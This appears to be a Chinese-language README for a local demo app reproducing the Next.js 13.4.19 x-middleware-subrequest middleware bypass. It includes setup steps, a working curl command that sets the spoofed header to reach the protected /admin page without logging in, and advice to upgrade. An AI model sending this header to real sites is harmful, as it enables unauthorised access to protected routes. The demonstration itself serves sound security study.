此应用程序演示了 Next.js 13.4.19 中的 x-middleware-subrequest 漏洞,该漏洞可导致中间件保护被绕过。
npm install
npm run dev
该应用程序在 /admin 有一个管理页面,本应受到中间件保护。然而,使用 x-middleware-subrequest 请求头即可在未认证的情况下访问它。
/admin - 您将被重定向到 /login/admin要绕过认证,您可以使用 curl 或任何 HTTP 客户端发送带有 x-middleware-subrequest 请求头的请求:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin
此漏洞演示了如何通过使用 x-middleware-subrequest 请求头绕过 Next.js 13.4.19 中的中间件保护。在生产环境中,这可能导致对受保护路由的未授权访问。
要修复此漏洞,请升级到已修补该问题的新版 Next.js。